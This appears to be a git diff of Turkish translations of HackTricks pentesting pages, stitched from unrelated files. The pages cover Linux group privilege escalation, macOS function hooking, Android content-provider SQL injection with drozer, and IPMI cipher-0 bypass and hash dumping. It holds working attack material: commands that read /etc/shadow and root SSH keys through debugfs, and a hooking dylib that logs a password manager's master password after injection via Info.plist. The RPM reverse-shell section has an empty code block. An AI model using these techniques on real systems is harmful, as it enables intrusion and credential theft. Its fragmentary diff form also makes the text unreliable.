Yum ile ilgili daha fazla örnek [gtfobins](https://gtfobins.github.io/gtfobins/yum/) üzerinde bulunabilir.
# RPM Paketleri aracılığıyla rastgele komutlar çalıştırma
## Ortamı Kontrol Etme
Bu vektörü kullanabilmek için kullanıcının yum komutlarını daha yüksek ayrıcalıklara sahip bir kullanıcı olarak, yani root olarak çalıştırabilmesi gerekmektedir.
### Bu vektörün çalışan bir örneği
Bu açığın çalışan bir örneği [tryhackme](https://tryhackme.com) üzerindeki [daily bugle](https://tryhackme.com/room/dailybugle) odasında bulunabilir.
## RPM Paketleme
Aşağıdaki bölümde, [fpm](https://github.com/jordansissel/fpm) kullanarak bir ters shell'i RPM içine paketlemeyi ele alacağım.
Aşağıdaki örnek, saldırgan tarafından tanımlanabilecek rastgele bir betik ile bir ön yükleme tetikleyicisi içeren bir paket oluşturur. Bu paket yüklendiğinde, rastgele komutu çalıştıracaktır. Gösterim için basit bir ters netcat shell örneği kullandım, ancak bu gerektiği gibi değiştirilebilir.
```text
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,136 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Sudo/Admin Grupları
## **PE - Yöntem 1**
**Bazen**, **varsayılan olarak \(ya da bazı yazılımlar bunu gerektirdiği için\)** **/etc/sudoers** dosyası içinde bu satırlardan bazılarını bulabilirsiniz:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# Allow members of group admin to execute any command
%admin ALL=(ALL:ALL) ALL
```
Bu, **sudo veya admin grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir.
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
```text
sudo su
```
## PE - Yöntem 2
Tüm suid ikili dosyaları bulun ve **Pkexec** ikili dosyasının olup olmadığını kontrol edin:
```bash
find / -perm -4000 2>/dev/null
```
Eğer pkexec ikilisinin SUID ikilisi olduğunu ve sudo veya admin grubuna ait olduğunuzu bulursanız, muhtemelen pkexec kullanarak ikilileri sudo olarak çalıştırabilirsiniz. İçeriği kontrol edin:
```bash
cat /etc/polkit-1/localauthority.conf.d/*
```
Orada **pkexec** komutunu çalıştırmaya izin verilen grupları bulacaksınız ve bazı Linux dağıtımlarında **varsayılan olarak** **sudo veya admin** gibi bazı gruplar **görünebilir**.
**Root olmak için şunu çalıştırabilirsiniz**:
```bash
pkexec "/bin/sh" #You will be prompted for your user password
```
Eğer **pkexec** komutunu çalıştırmaya çalışırsanız ve bu **hata** ile karşılaşırsanız:
```bash
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized
```
**Bu, izinlerinizin olmaması nedeniyle değil, bir GUI olmadan bağlı olmamanızdan kaynaklanıyor**. Bu sorun için bir çözüm burada mevcut: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). **2 farklı ssh oturumuna** ihtiyacınız var:
```bash:session1
echo $$ #Step1: Get current PID
pkexec "/bin/bash" #Step 3, execute pkexec
#Step 5, if correctly authenticate, you will have a root session
```
```bash:session2
pkttyagent --process <PID of session1> #Step 2, attach pkttyagent to session1
#Step 4, you will be asked in this session to authenticate to pkexec
```
# Wheel Grubu
**Bazen**, **varsayılan olarak** **/etc/sudoers** dosyası içinde bu satırı bulabilirsiniz:
```text
%wheel ALL=(ALL:ALL) ALL
```
Bu, **wheel grubuna ait olan herhangi bir kullanıcının sudo olarak her şeyi çalıştırabileceği** anlamına gelir.
Eğer durum böyleyse, **root olmak için sadece şunu çalıştırabilirsiniz**:
```text
sudo su
```
# Shadow Grubu
**shadow** grubundaki kullanıcılar **/etc/shadow** dosyasını **okuyabilir**:
```text
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
Bu ayrıcalık neredeyse **root erişimi ile eşdeğerdir** çünkü makinenin içindeki tüm verilere erişebilirsiniz.
Dosyalar:`/dev/sd[a-z][1-9]`
```text
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```
Debugfs kullanarak **dosya yazma** işlemi de yapabileceğinizi unutmayın. Örneğin, `/tmp/asd1.txt` dosyasını `/tmp/asd2.txt` dosyasına kopyalamak için şunu yapabilirsiniz:
```bash
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
Ancak, **root tarafından sahip olunan dosyaları yazmaya** çalışırsanız \(örneğin `/etc/shadow` veya `/etc/passwd`\) "**İzin reddedildi**" hatası alırsınız.
# Video Grubu
`w` komutunu kullanarak **sistemde kimlerin oturum açtığını** bulabilirsiniz ve aşağıdaki gibi bir çıktı gösterecektir:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
```
**tty1**, kullanıcının **yossi'nin makinedeki bir terminale fiziksel olarak giriş yaptığını** ifade eder.
**video grubu**, ekran çıktısını görüntüleme erişimine sahiptir. Temelde ekranları gözlemleyebilirsiniz. Bunu yapmak için, ekranın üzerindeki **mevcut görüntüyü ham veri olarak yakalamanız** ve ekranın kullandığı çözünürlüğü almanız gerekir. Ekran verileri `/dev/fb0`'da kaydedilebilir ve bu ekranın çözünürlüğünü `/sys/class/graphics/fb0/virtual_size`'da bulabilirsiniz.
```bash
cat /dev/fb0 > /tmp/screen.raw
cat /sys/class/graphics/fb0/virtual_size
```
**Ham görüntüyü açmak için** **GIMP**'i kullanabilir, **`screen.raw`** dosyasını seçebilir ve dosya türü olarak **Ham görüntü verisi**'ni seçebilirsiniz:
![](../../images/image%20%28208%29.png)
Sonra Genişlik ve Yükseklik değerlerini ekranda kullanılanlarla değiştirin ve farklı Görüntü Türlerini kontrol edin \(ve ekranı daha iyi göstereni seçin\):
![](../../images/image%20%28295%29.png)
# Root Grubu
Görünüşe göre varsayılan olarak **root grubunun üyeleri**, bazı **hizmet** yapılandırma dosyalarını veya bazı **kütüphane** dosyalarını veya ayrıcalıkları artırmak için kullanılabilecek **diğer ilginç şeyleri** **değiştirme** erişimine sahip olabilir...
**Root üyelerinin hangi dosyaları değiştirebileceğini kontrol edin**:
```bash
find / -group root -perm -g=w 2>/dev/null
```
# Docker Grubu
Ana makinenin kök dosya sistemini bir örneğin hacmine monte edebilirsiniz, böylece örnek başladığında hemen o hacme `chroot` yükler. Bu, makinede size kök erişimi sağlar.
{{#ref}}
https://github.com/KrustyHack/docker-privilege-escalation
{{#endref}}
{{#ref}}
https://fosterelli.co/privilege-escalation-via-docker.html
{{#endref}}
# lxc/lxd Grubu
[lxc - Yetki Yükseltme](lxd-privilege-escalation.md)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,338 +0,0 @@
# macOS Function Hooking
{{#include ../../../banners/hacktricks-training.md}}
## Function Interposing
Bir **dylib** oluşturun ve içinde **`__interpose`** bölümü (veya **`S_INTERPOSING`** ile işaretlenmiş bir bölüm) bulunan, **orijinal** ve **değiştirilmiş** fonksiyonlara atıfta bulunan **fonksiyon işaretçileri** çiftleri içersin.
Sonra, **`DYLD_INSERT_LIBRARIES`** ile dylib'i **enjekte** edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, [**`DYLD_INSERT_LIBRARIES`** kullanımına uygulanan **kısıtlamalar** burada da geçerlidir](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions).
### Interpose printf
{{#tabs}}
{{#tab name="interpose.c"}}
```c:interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>
int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);
int ret = printf("Hello from interpose\n");
return ret;
}
__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{{#endtab}}
{{#tab name="hello.c"}}
```c
//gcc hello.c -o hello
#include <stdio.h>
int main() {
printf("Hello World!\n");
return 0;
}
```
{{#endtab}}
{{#tab name="interpose2.c"}}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
#include <stdio.h>
#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};
int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}
DYLD_INTERPOSE(my_printf,printf);
```
{{#endtab}}
{{#endtabs}}
```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose
DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```
## Method Swizzling
ObjectiveC'de bir metod şu şekilde çağrılır: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
Gerekli olan **nesne**, **metod** ve **parametrelerdir**. Ve bir metod çağrıldığında bir **msg gönderilir** ve bu işlem **`objc_msgSend`** fonksiyonu kullanılarak yapılır: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
Nesne **`someObject`**, metod **`@selector(method1p1:p2:)`** ve argümanlar **value1**, **value2**'dir.
Nesne yapıları takip edilerek, **metodların** **isimlerinin** ve **metod koduna** işaretçilerin **bulunduğu** bir **metodlar dizisine** ulaşmak mümkündür.
> [!CAUTION]
> Metodlar ve sınıflar isimlerine göre erişildiğinden, bu bilginin ikili dosyada saklandığını unutmayın, bu nedenle `otool -ov </path/bin>` veya [`class-dump </path/bin>`](https://github.com/nygard/class-dump) ile geri alınması mümkündür.
### Ham metodlara erişim
Metodların adı, parametre sayısı veya adresi gibi bilgilerine aşağıdaki örnekte olduğu gibi erişmek mümkündür:
```objectivec
// gcc -framework Foundation test.m -o test
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));
// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));
// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));
// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}
// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}
// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}
// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);
// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);
return 0;
}
```
### Method Swizzling with method_exchangeImplementations
Fonksiyon **`method_exchangeImplementations`**, **bir fonksiyonun** **uygulamasının** **adresini** **diğerine değiştirmeye** **olanak tanır**.
> [!CAUTION]
> Bu nedenle bir fonksiyon çağrıldığında **çalıştırılan diğeri**dir.
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (SwizzleString)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original method
return [self swizzledSubstringFromIndex:from];
}
@end
int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);
// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
return 0;
}
```
> [!WARNING]
> Bu durumda, eğer **meşru** yöntemin **uygulama kodu** **yöntem** **adını** **doğruluyorsa**, bu swizzling'i **tespit** edebilir ve çalışmasını engelleyebilir.
>
> Aşağıdaki teknik bu kısıtlamaya sahip değildir.
### method_setImplementation ile Yöntem Swizzling
Önceki format garip çünkü bir yöntemden diğerine 2 yöntemin uygulamasını değiştiriyorsunuz. **`method_setImplementation`** fonksiyonunu kullanarak bir **yöntemin uygulamasını diğerine** **değiştirebilirsiniz**.
Sadece, yeni uygulamadan çağırmayı planlıyorsanız, **orijinal olanın uygulama adresini saklamayı** unutmayın, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır.
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>
static IMP original_substringFromIndex = NULL;
@interface NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;
@end
@implementation NSString (Swizzlestring)
- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");
// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}
@end
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];
// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);
// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);
return 0;
}
}
```
## Hooking Attack Methodology
Bu sayfada fonksiyonları hooklamak için farklı yollar tartışıldı. Ancak, bunlar **saldırı için süreç içinde kod çalıştırmayı** içeriyordu.
Bunu yapmak için en kolay teknik, bir [Dyld'yi ortam değişkenleri aracılığıyla veya kaçırarak](../macos-dyld-hijacking-and-dyld_insert_libraries.md) enjekte etmektir. Ancak, bunun [Dylib süreç enjeksiyonu](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port) aracılığıyla da yapılabileceğini düşünüyorum.
Ancak, her iki seçenek de **korumasız** ikili/durumlarla **sınırlıdır**. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin.
Ancak, bir fonksiyon hooking saldırısı çok spesifiktir, bir saldırgan bunu **bir süreçten hassas bilgileri çalmak için** yapar (aksi takdirde sadece bir süreç enjeksiyonu saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen uygulamalarda bulunabilir.
Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, uygulamanın Info.plist dosyasına **`DYLD_INSERT_LIBRARIES`** env değişkenini eklemek olacaktır.
```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
ve ardından uygulamayı **yeniden kaydet**:
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
Kütüphaneye bilgileri dışa aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar...
> [!CAUTION]
> Daha yeni macOS sürümlerinde, eğer uygulama ikili dosyasının **imzasını kaldırırsanız** ve daha önce çalıştırılmışsa, macOS **uygulamayı bir daha çalıştırmayacaktır**.
#### Kütüphane örneği
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
// If you added env vars in the Info.plist don't forget to call lsregister as explained before
// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'
#include <Foundation/Foundation.h>
#import <objc/runtime.h>
// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;
static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);
// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd, password, keyFileURL);
}
// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```
## Referanslar
- [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,95 +0,0 @@
{{#include ../banners/hacktricks-training.md}}
{{#ref}}
https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#python-tty-shell-trick
{{#endref}}
{{#ref}}
https://hausec.com/pentesting-cheatsheet/#_Toc475368982
{{#endref}}
{{#ref}}
https://anhtai.me/pentesting-cheatsheet/
{{#endref}}
{{#ref}}
https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
{{#endref}}
{{#ref}}
https://ired.team/offensive-security-experiments/offensive-security-cheetsheets
{{#endref}}
{{#ref}}
https://chryzsh.gitbooks.io/pentestbook/basics_of_windows.html
{{#endref}}
{{#ref}}
https://github.com/wwong99/pentest-notes/blob/master/oscp_resources/OSCP-Survival-Guide.md
{{#endref}}
{{#ref}}
https://anhtai.me/oscp-fun-guide/
{{#endref}}
{{#ref}}
https://www.thehacker.recipes/
{{#endref}}
{{#ref}}
https://github.com/swisskyrepo/PayloadsAllTheThings
{{#endref}}
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://github.com/RistBS/Awesome-RedTeam-Cheatsheet
{{#endref}}
{{#ref}}
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
{{#endref}}
{{#ref}}
https://hideandsec.sh/
{{#endref}}
{{#ref}}
https://cheatsheet.haax.fr/
{{#endref}}
{{#ref}}
https://infosecwriteups.com/
{{#endref}}
{{#ref}}
https://www.exploit-db.com/
{{#endref}}
{{#ref}}
https://wadcoms.github.io/
{{#endref}}
{{#ref}}
https://lolbas-project.github.io
{{#endref}}
{{#ref}}
https://pentestbook.six2dez.com/
{{#endref}}
{{#ref}}
https://www.hackingarticles.in/
{{#endref}}
{{#ref}}
https://pentestlab.blog/
{{#endref}}
{{#ref}}
https://ippsec.rocks/
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,12 +1,10 @@
# İçerik Sağlayıcıların Sömürülmesi
## İçerik Sağlayıcıların Sömürülmesi
{{#include ../../../banners/hacktricks-training.md}}
## Giriş
Veri, **bir uygulamadan diğerlerine** bir bileşen olan **içerik sağlayıcı** aracılığıyla talep üzerine sağlanır. Bu talepler, **ContentResolver sınıfı** yöntemleri aracılığıyla yönetilir. İçerik sağlayıcılar verilerini çeşitli yerlerde depolayabilir, örneğin **veritabanı**, **dosyalar** veya **ağ** üzerinden.
Veri, **bir uygulamadan diğerlerine** bir bileşen olan **içerik sağlayıcı** aracılığıyla talep üzerine sağlanır. Bu talepler, **ContentResolver sınıfı** yöntemleri aracılığıyla yönetilir. İçerik sağlayıcılar verilerini çeşitli yerlerde depolayabilir, örneğin **veritabanı**, **dosyalar** veya bir **ağ** üzerinden.
_Manifest.xml_ dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğin:
```xml
@ -14,7 +12,7 @@ _Manifest.xml_ dosyasında, içerik sağlayıcının beyanı gereklidir. Örneğ
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
`content://com.mwr.example.sieve.DBContentProvider/Keys` erişmek için `READ_KEYS` izni gereklidir. Geliştiricinin, `/Keys`'i güvence altına almasına rağmen `/Keys/`'i beyan etmesi nedeniyle, `/Keys/` yolunun aşağıdaki bölümde erişilebilir olduğunu belirtmek ilginçtir.
`content://com.mwr.example.sieve.DBContentProvider/Keys` erişmek için `READ_KEYS` izni gereklidir. Geliştiricinin yaptığı bir hata nedeniyle `/Keys`'in korunduğu, ancak `/Keys/`'in korunmadığı ilginçtir.
**Belki özel verilere erişebilir veya bazı zayıflıkları (SQL Injection veya Path Traversal) istismar edebilirsiniz.**
@ -66,10 +64,10 @@ Sorgu şöyle olacak: `content://name.of.package.class/declared_name`
## **Veritabanı destekli İçerik Sağlayıcılar**
Muhtemelen çoğu İçerik Sağlayıcı, bir **veritabanı** için **arayüz** olarak kullanılmaktadır. Bu nedenle, ona erişebilirseniz, bilgileri **çıkarabilir, güncelleyebilir, ekleyebilir ve silebilirsiniz**.\
**Hassas bilgilere erişip erişemeyeceğinizi** kontrol edin veya **yetkilendirme** mekanizmalarını atlamak için değiştirmeyi deneyin.
Muhtemelen çoğu İçerik Sağlayıcı, bir **veritabanı** için **arayüz** olarak kullanılmaktadır. Bu nedenle, ona erişebilirseniz, bilgileri **çıkarma, güncelleme, ekleme ve silme** işlemlerini yapabilirsiniz.\
**Hassas bilgilere** erişip erişemediğinizi kontrol edin veya **yetkilendirme** mekanizmalarını atlatmak için değiştirmeyi deneyin.
İçerik Sağlayıcının kodunu kontrol ederken, _query, insert, update ve delete_ gibi **fonksiyonlar** arayın:
Content Provider kodunu kontrol ederken, _query, insert, update ve delete_ gibi adlandırılmış **fonksiyonları** da **gözden geçirin**:
![](<../../../images/image (887).png>)
@ -87,9 +85,9 @@ password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### İçerik Ekle
### İçerik Ekleme
Veritabanını sorgulayarak **sütunların adını** öğreneceksiniz, ardından veritabanına veri ekleyebilirsiniz:
Veritabanını sorgulayarak **sütunların adlarını** öğreneceksiniz, ardından veritabanına veri ekleyebilirsiniz:
![](<../../../images/image (98).png>)
@ -97,13 +95,13 @@ Veritabanını sorgulayarak **sütunların adını** öğreneceksiniz, ardından
_Ekleme ve güncelleme işlemlerinde --string ile string, --double ile double, --float, --integer, --long, --short, --boolean belirtmek için kullanabilirsiniz._
### İçeriği Güncelle
### İçeriği Güncelleme
Sütunların adını bildiğinizde **girdileri** de **değiştirebilirsiniz**:
Sütunların adlarını bildiğinizde **girişleri** de **değiştirebilirsiniz**:
![](<../../../images/image (780).png>)
### İçeriği Sil
### İçeriği Silme
![](<../../../images/image (423).png>)
@ -114,7 +112,7 @@ SQL enjeksiyonunu **(SQLite)** test etmek, içerik sağlayıcısına geçirilen
![](<../../../images/image (784).png>)
**SQL enjeksiyonlarını** test etmek için bu **parametreleri** **istismar** etmeyi deneyebilirsiniz:
**SQL enjeksiyonlarını** test etmek için bu **parametreleri** **istismar etmeyi** deneyebilirsiniz:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
@ -127,7 +125,7 @@ FROM SQLITE_MASTER WHERE type='table';--"
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
**Drozer ile Otomatik SQL Enjeksiyonu Keşfi**
**Drozer ile Otomatik SQLInjection keşfi**
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...

View File

@ -1,31 +1,29 @@
# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
### **IPMI Genel Bakış**
### **IPMI Genel Görünümü**
**[Akıllı Platform Yönetim Arayüzü (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**, işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerine olanak tanır, hatta sistem kapalı veya yanıt vermediğinde bile, ve özellikle şunlar için faydalıdır:
**[Akıllı Platform Yönetim Arayüzü (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**, işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerine olanak tanır, hatta sistem kapalı veya yanıt vermediğinde bile, ve özellikle aşağıdaki durumlar için faydalıdır:
- OS öncesi önyükleme yapılandırmaları
- Güç kapalı yönetimi
- Sistem arızalarından kurtarma
IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleme yeteneğine sahiptir, ayrıca envanter bilgileri sağlama, donanım günlüklerini gözden geçirme ve SNMP aracılığıyla uyarılar gönderme işlevi de vardır. İşlemi için gerekli olanlar bir güç kaynağı ve bir LAN bağlantısıdır.
IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleme yeteneğine sahiptir, ayrıca envanter bilgisi sağlama, donanım günlüklerini gözden geçirme ve SNMP aracılığıyla uyarılar gönderme işlevi de vardır. İşleyişi için gerekli olanlar bir güç kaynağı ve bir LAN bağlantısıdır.
1998'de Intel tarafından tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmiş, uzaktan yönetim yeteneklerini artırmıştır, özellikle 2.0 sürümünün LAN üzerinden seri desteği ile. Ana bileşenler şunlardır:
Intel tarafından 1998'de tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmiş, uzaktan yönetim yeteneklerini artırmıştır, özellikle 2.0 sürümünün LAN üzerinden seri desteği ile. Ana bileşenler şunlardır:
- **Ana Kart Yönetim Kontrolcüsü (BMC):** IPMI işlemleri için ana mikro denetleyici.
- **İletişim Araçları ve Arayüzleri:** ICMB, IPMB ve yerel ve ağ bağlantıları için çeşitli arayüzler dahil olmak üzere iç ve dış iletişim için.
- **İletişim Araçları ve Arayüzleri:** ICMB, IPMB ve yerel ile ağ bağlantıları için çeşitli arayüzler dahil olmak üzere iç ve dış iletişim için.
- **IPMI Belleği:** Günlükleri ve verileri depolamak için.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Varsayılan Port**: 623/UDP/TCP (Genellikle UDP'de bulunur ama TCP'de de çalışıyor olabilir)
**Varsayılan Port**: 623/UDP/TCP (Genellikle UDP üzerindedir ama TCP üzerinde de çalışabilir)
## Sayım
@ -44,7 +42,7 @@ nmap -sU --script ipmi-version -p 623 10.10.10.10
IPMI 2.0 alanında, Dan Farmer tarafından önemli bir güvenlik açığı keşfedildi ve bu açık **cipher type 0** aracılığıyla ortaya çıktı. Bu zayıflık, [Dan Farmer'ın araştırmasında](http://fish2.com/ipmi/cipherzero.html) ayrıntılı olarak belgelenmiştir ve geçerli bir kullanıcı hedef alındığında herhangi bir şifre ile yetkisiz erişim sağlar. Bu zayıflık, HP, Dell ve Supermicro gibi üreticilerin çeşitli BMC'lerinde bulundu ve tüm IPMI 2.0 uygulamalarında yaygın bir sorun olduğunu göstermektedir.
### **Cipher 0 ile IPMI Kimlik Doğrulama Atlatma**
### **Cipher 0 Üzerinden IPMI Kimlik Doğrulama Atlatma**
Bu açığı tespit etmek için aşağıdaki Metasploit yardımcı tarayıcısı kullanılabilir:
```bash
@ -62,7 +60,7 @@ Bu zafiyet, mevcut herhangi bir kullanıcı adı için tuzlu hashlenmiş şifrel
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI Anonim Kimlik Doğrulama**
### **IPMI Anonim Kimlik Doğrulaması**
Birçok BMC'deki varsayılan yapılandırma, boş kullanıcı adı ve şifre dizeleri ile karakterize edilen "anonim" erişime izin verir. Bu yapılandırma, `ipmitool` kullanarak adlandırılmış kullanıcı hesaplarının şifrelerini sıfırlamak için istismar edilebilir:
```bash
